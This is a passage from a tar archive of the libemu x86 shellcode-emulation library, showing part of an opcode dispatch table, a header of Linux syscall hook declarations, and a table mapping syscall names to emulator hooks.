0, 0, 0, 0, 0}}, /* 2b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 2c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 2d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 2e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 2f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 30 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 31 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 32 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 33 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 34 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 35 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 36 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 37 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 38 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 39 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 3a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 3b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 3c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 3d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 3e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 3f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 40 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 41 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 42 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 43 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 44 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 45 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 46 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 47 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 48 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 49 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 4f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 50 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 51 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 52 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 53 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 54 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 55 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 56 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 57 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 58 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 59 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 5f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 60 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 61 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 62 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 63 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 64 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 65 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 66 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 67 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 68 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 69 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 6f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 70 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 71 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 72 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 73 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 74 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 75 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 76 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 77 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 78 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 79 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 7a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 7b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 7c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 7d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 7e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 7f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 80 */ {instr_jcc_0f80, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 81 */ {instr_jcc_0f81, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 82 */ {instr_jcc_0f82, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 83 */ {instr_jcc_0f83, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 84 */ {instr_jcc_0f84, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 85 */ {instr_jcc_0f85, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 86 */ {instr_jcc_0f86, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 87 */ {instr_jcc_0f87, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 88 */ {instr_jcc_0f88, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 89 */ {instr_jcc_0f89, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 8a */ {instr_jcc_0f8a, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 8b */ {instr_jcc_0f8b, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 8c */ {instr_jcc_0f8c, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 8d */ {instr_jcc_0f8d, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 8e */ {instr_jcc_0f8e, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 8f */ {instr_jcc_0f8f, "jcc", {0, 0, 0, 0, II_DISPF, 0, 0, 0}}, /* 90 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 91 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 92 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 93 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 94 */ {instr_setcc_0f94, "setz", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 95 */ {instr_setcc_0f95, "setnz", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* 96 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 97 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 98 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 99 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9a */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9b */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9c */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9d */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9e */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* 9f */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a2 */ {instr_cpuid_0fa2, "cpuid", {0, 0, 0, 0, 0, 0, 0, 0}}, /* a3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* a9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* aa */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ab */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ac */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ad */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ae */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* af */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* b0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* b1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* b2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* b3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* b4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* b5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* b6 */ {instr_movzx_0fb6, "movzx", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* b7 */ {instr_movzx_0fb7, "movzx", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* b8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* b9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ba */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* bb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* bc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* bd */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* be */ {instr_movsx_0fbe, "movsx", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* bf */ {instr_movsx_0fbf, "movsx", {0, 0, II_MOD_REG_RM, 0, 0, 0, 0, 0}}, /* c0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* c9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ca */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* cb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* cc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* cd */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ce */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* cf */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* d9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* da */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* db */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* dc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* dd */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* de */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* df */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* e9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ea */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* eb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ec */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ed */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ee */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ef */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f0 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f1 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f2 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f3 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f4 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f5 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f6 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f7 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f8 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* f9 */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* fa */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* fb */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* fc */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* fd */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* fe */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, /* ff */ {0, 0, {0, 0, 0, 0, 0, 0, 0, 0}}, }; #endif libemu-0.2.0+git20120122+564/include/emu/environment/0000755000175300017530000000000011706767213020620 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/include/emu/environment/linux/0000755000175300017530000000000011706767213021757 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/include/emu/environment/linux/env_linux_syscall_hooks.h0000644000175300017530000000356511706767213027105 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ /* 1 exit */ int32_t env_linux_hook_exit(struct emu_env *env, struct emu_env_hook *hook); /* 2 fork */ int32_t env_linux_hook_fork(struct emu_env *env, struct emu_env_hook *hook); /* 11 execve */ int32_t env_linux_hook_execve(struct emu_env *env, struct emu_env_hook *hook); /* 63 dup2 */ int32_t env_linux_hook_dup2(struct emu_env *env, struct emu_env_hook *hook); /* 102 socketcall */ /* accept bind connect getpeername - missing getsockname - missing getsockopt - missing listen recv - missing recvfrom - missing recvmsg - missing send - missing sendmsg - missing sendto - missing setsockopt - missing shutdown - missing socket socketpair - missing */ int32_t env_linux_hook_socketcall(struct emu_env *env, struct emu_env_hook *hook); libemu-0.2.0+git20120122+564/include/emu/environment/linux/env_linux_syscalls.h0000644000175300017530000004371411706767213026065 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "emu/environment/linux/emu_env_linux.h" #include "emu/environment/linux/env_linux_syscall_hooks.h" struct emu_env_linux_syscall_entry env_linux_syscalls[] = { /* 0*/ { NULL , NULL}, /* 1*/ { "exit" , NULL}, /* 2*/ { "fork" , NULL}, /* 3*/ { "read" , NULL}, /* 4*/ { "write" , NULL}, /* 5*/ { "open" , NULL}, /* 6*/ { "close" , NULL}, /* 7*/ { "waitpid" , NULL}, /* 8*/ { "creat" , NULL}, /* 9*/ { "link" , NULL}, /* 10*/ { "unlink" , NULL}, /* 11*/ { "execve" , NULL}, /* 12*/ { "chdir" , NULL}, /* 13*/ { "time" , NULL}, /* 14*/ { "mknod" , NULL}, /* 15*/ { "chmod" , NULL}, /* 16*/ { "lchown" , NULL}, /* 17*/ { NULL , NULL}, /* 18*/ { "stat" , NULL}, /* 19*/ { "lseek" , NULL}, /* 20*/ { "getpid" , NULL}, /* 21*/ { "mount" , NULL}, /* 22*/ { "oldumount" , NULL}, /* 23*/ { "setuid" , NULL}, /* 24*/ { "getuid" , NULL}, /* 25*/ { "stime" , NULL}, /* 26*/ { "ptrace" , NULL}, /* 27*/ { "alarm" , NULL}, /* 28*/ { "fstat" , NULL}, /* 29*/ { "pause" , NULL}, /* 30*/ { "utime" , NULL}, /* 31*/ { NULL , NULL}, /* 32*/ { NULL , NULL}, /* 33*/ { "access" , NULL}, /* 34*/ { "nice" , NULL}, /* 35*/ { NULL , NULL}, /* 36*/ { "sync" , NULL}, /* 37*/ { "kill" , NULL}, /* 38*/ { "rename" , NULL}, /* 39*/ { "mkdir" , NULL}, /* 40*/ { "rmdir" , NULL}, /* 41*/ { "dup" , NULL}, /* 42*/ { "pipe" , NULL}, /* 43*/ { "times" , NULL}, /* 44*/ { NULL , NULL}, /* 45*/ { "brk" , NULL}, /* 46*/ { "setgid" , NULL}, /* 47*/ { "getgid" , NULL}, /* 48*/ { "signal" , NULL}, /* 49*/ { "geteuid" , NULL}, /* 50*/ { "getegid" , NULL}, /* 51*/ { "acct" , NULL}, /* 52*/ { "umount" , NULL}, /* 53*/ { NULL , NULL}, /* 54*/ { "ioctl" , NULL}, /* 55*/ { "fcntl" , NULL}, /* 56*/ { NULL , NULL}, /* 57*/ { "setpgid" , NULL}, /* 58*/ { NULL , NULL}, /* 59*/ { "olduname" , NULL}, /* 60*/ { "umask" , NULL}, /* 61*/ { "chroot" , NULL}, /* 62*/ { "ustat" , NULL}, /* 63*/ { "dup2" , NULL}, /* 64*/ { "getppid" , NULL}, /* 65*/ { "getpgrp" , NULL}, /* 66*/ { "setsid" , NULL}, /* 67*/ { "sigaction" , NULL}, /* 68*/ { "sgetmask" , NULL}, /* 69*/ { "ssetmask" , NULL}, /* 70*/ { "setreuid" , NULL}, /* 71*/ { "setregid" , NULL}, /* 72*/ { "sigsuspend" , NULL}, /* 73*/ { "sigpending" , NULL}, /* 74*/ { "sethostname" , NULL}, /* 75*/ { "setrlimit" , NULL}, /* 76*/ { "getrlimit" , NULL}, /* 77*/ { "getrusage" , NULL}, /* 78*/ { "gettimeofday" , NULL}, /* 79*/ { "settimeofday" , NULL}, /* 80*/ { "getgroups" , NULL}, /* 81*/ { "setgroups" , NULL}, /* 82*/ { "old_select" , NULL}, /* 83*/ { "symlink" , NULL}, /* 84*/ { "lstat" , NULL}, /* 85*/ { "readlink" , NULL}, /* 86*/ { "uselib" , NULL}, /* 87*/ { "swapon" , NULL}, /* 88*/ { "reboot" , NULL}, /* 89*/ { "old_readdir" , NULL}, /* 90*/ { "old_mmap" , NULL}, /* 91*/ { "munmap" , NULL}, /* 92*/ { "truncate" , NULL}, /* 93*/ { "ftruncate" , NULL}, /* 94*/ { "fchmod" , NULL}, /* 95*/ { "fchown" , NULL}, /* 96*/ { "getpriority" , NULL}, /* 97*/ { "setpriority" , NULL}, /* 98*/ { NULL , NULL}, /* 99*/ { "statfs" , NULL}, /* 100*/ { "fstatfs" , NULL}, /* 101*/ { "ioperm" , NULL}, /* 102*/ { NULL , env_linux_socketcall}, /* 103*/ { "syslog" , NULL}, /* 104*/ { "setitimer" , NULL}, /* 105*/ { "getitimer" , NULL}, /* 106*/ { "newstat" , NULL}, /* 107*/ { "newlstat" , NULL}, /* 108*/ { "newfstat" , NULL}, /* 109*/ { "uname" , NULL}, /* 110*/ { "iopl" , NULL}, /* 111*/ { "vhangup" , NULL}, /* 112*/ { "idle" , NULL}, /* 113*/ { "vm86old" , NULL}, /* 114*/ { "wait4" , NULL}, /* 115*/ { "swapoff" , NULL}, /* 116*/ { "sysinfo" , NULL}, /* 117*/ { "ipc" , NULL}, /* 118*/ { "fsync" , NULL}, /* 119*/ { "sigreturn" , NULL}, /* 120*/ { "clone" , NULL}, /* 121*/ { "setdomainname" , NULL}, /* 122*/ { "newuname" , NULL}, /* 123*/ { "modify_ldt" , NULL}, /* 124*/ { "adjtimex" , NULL}, /* 125*/ { "mprotect" , NULL}, /* 126*/ { "sigprocmask" , NULL}, /* 127*/ { "create_module" , NULL}, /* 128*/ { "init_module" , NULL}, /* 129*/ { "delete_module" , NULL}, /* 130*/ { "get_kernel_syms" , NULL}, /* 131*/ { "quotactl" , NULL}, /* 132*/ { "getpgid" , NULL}, /* 133*/ { "fchdir" , NULL}, /* 134*/ { "bdflush" , NULL}, /* 135*/ { "sysfs" , NULL}, /* 136*/ { "personality" , NULL}, /* 137*/ { NULL , NULL}, /* 138*/ { "setfsuid" , NULL}, /* 139*/ { "setfsgid" , NULL}, /* 140*/ { "llseek" , NULL}, /* 141*/ { "getdents" , NULL}, /* 142*/ { "select" , NULL}, /* 143*/ { "flock" , NULL}, /* 144*/ { "msync" , NULL}, /* 145*/ { "readv" , NULL}, /* 146*/ { "writev" , NULL}, /* 147*/ { "getsid" , NULL}, /* 148*/ { "fdatasync" , NULL}, /* 149*/ { "sysctl" , NULL}, /* 150*/ { "mlock" , NULL}, /* 151*/ { "munlock" , NULL}, /* 152*/ { "mlockall" , NULL}, /* 153*/ { "munlockall" , NULL}, /* 154*/ { "sched_setparam" , NULL}, /* 155*/ { "sched_getparam" , NULL}, /* 156*/ { "sched_setscheduler" , NULL}, /* 157*/ { "sched_getscheduler" , NULL}, /* 158*/ { "sched_yield" , NULL}, /* 159*/ { "sched_get_priority_max" , NULL}, /* 160*/ { "sched_get_priority_min" , NULL}, /* 161*/ { "sched_rr_get_interval" , NULL}, /* 162*/ { "nanosleep" , NULL}, /* 163*/ { "mremap" , NULL}, /* 164*/ { "setresuid" , NULL}, /* 165*/ { "getresuid" , NULL}, /* 166*/ { "vm86" , NULL}, /* 167*/ { "query_module" , NULL}, /* 168*/ { "poll" , NULL}, /* 169*/ { "nfsservctl" , NULL}, /* 170*/ { "setresgid" , NULL}, /* 171*/ { "getresgid" , NULL}, /* 172*/ { "prctl" , NULL}, /* 173*/ { "rt_sigreturn" , NULL}, /* 174*/ { "rt_sigaction" , NULL}, /* 175*/ { "rt_sigprocmask" , NULL}, /* 176*/ { "rt_sigpending" , NULL}, /* 177*/ { "rt_sigtimedwait" , NULL}, /* 178*/ { "rt_sigqueueinfo" , NULL}, /* 179*/ { "rt_sigsuspend" , NULL}, /* 180*/ { "pread" , NULL}, /* 181*/ { "pwrite" , NULL}, /* 182*/ { "chown" , NULL}, /* 183*/ { "getcwd" , NULL}, /* 184*/ { "capget" , NULL}, /* 185*/ { "capset" , NULL}, /* 186*/ { "sigaltstack" , NULL}, /* 187*/ { "sendfile" , NULL}, /* 188*/ { NULL , NULL}, /* 189*/ { NULL , NULL}, /* 190*/ { "vfork" , NULL}, }; struct emu_env_linux_syscall syscall_hooks[] = { { "accept" , env_linux_hook_socketcall}, { "access" , NULL}, { "acct" , NULL}, { "adjtimex" , NULL}, { "alarm" , NULL}, { "bdflush" , NULL}, { "bind" , env_linux_hook_socketcall}, { "brk" , NULL}, { "capget" , NULL}, { "capset" , NULL}, { "chdir" , NULL}, { "chmod" , NULL}, { "chown" , NULL}, { "chroot" , NULL}, { "clone" , NULL}, { "close" , NULL}, { "connect" , env_linux_hook_socketcall}, { "creat" , NULL}, { "create_module" , NULL}, { "delete_module" , NULL}, { "dup" , NULL}, { "dup2" , env_linux_hook_dup2}, { "execve" , env_linux_hook_execve}, { "exit" , env_linux_hook_exit}, { "fchdir" , NULL}, { "fchmod" , NULL}, { "fchown" , NULL}, { "fcntl" , NULL}, { "fdatasync" , NULL}, { "flock" , NULL}, { "fork" , env_linux_hook_fork}, { "fstat" , NULL}, { "fstatfs" , NULL}, { "fsync" , NULL}, { "ftruncate" , NULL}, { "getcwd" , NULL}, { "getdents" , NULL}, { "getegid" , NULL}, { "geteuid" , NULL}, { "getgid" , NULL}, { "getgroups" , NULL}, { "getitimer" , NULL}, { "get_kernel_syms" , NULL}, { "getpeername" , env_linux_hook_socketcall}, { "getpgid" , NULL}, { "getpgrp" , NULL}, { "getpid" , NULL}, { "getppid" , NULL}, { "getpriority" , NULL}, { "getresgid" , NULL}, { "getresuid" , NULL}, { "getrlimit" , NULL}, { "getrusage" , NULL}, { "getsid" , NULL}, { "getsockname" , env_linux_hook_socketcall}, { "getsockopt" , env_linux_hook_socketcall}, { "gettimeofday" , NULL}, { "getuid" , NULL}, { "idle" , NULL}, { "init_module" , NULL}, { "ioctl" , NULL}, { "ioperm" , NULL}, { "iopl" , NULL}, { "ipc" , NULL}, { "kill" , NULL}, { "lchown" , NULL}, { "link" , NULL}, { "listen" , env_linux_hook_socketcall}, { "llseek" , NULL}, { "lseek" , NULL}, { "lstat" , NULL}, { "mkdir" , NULL}, { "mknod" , NULL}, { "mlock" , NULL}, { "mlockall" , NULL}, { "modify_ldt" , NULL}, { "mount" , NULL}, { "mprotect" , NULL}, { "mremap" , NULL}, { "msync" , NULL}, { "munlock" , NULL}, { "munlockall" , NULL}, { "munmap" , NULL}, { "nanosleep" , NULL}, { "newfstat" , NULL}, { "newlstat" , NULL}, { "newstat" , NULL}, { "newuname" , NULL}, { "nfsservctl" , NULL}, { "nice" , NULL}, { "old_mmap" , NULL}, { "old_readdir" , NULL}, { 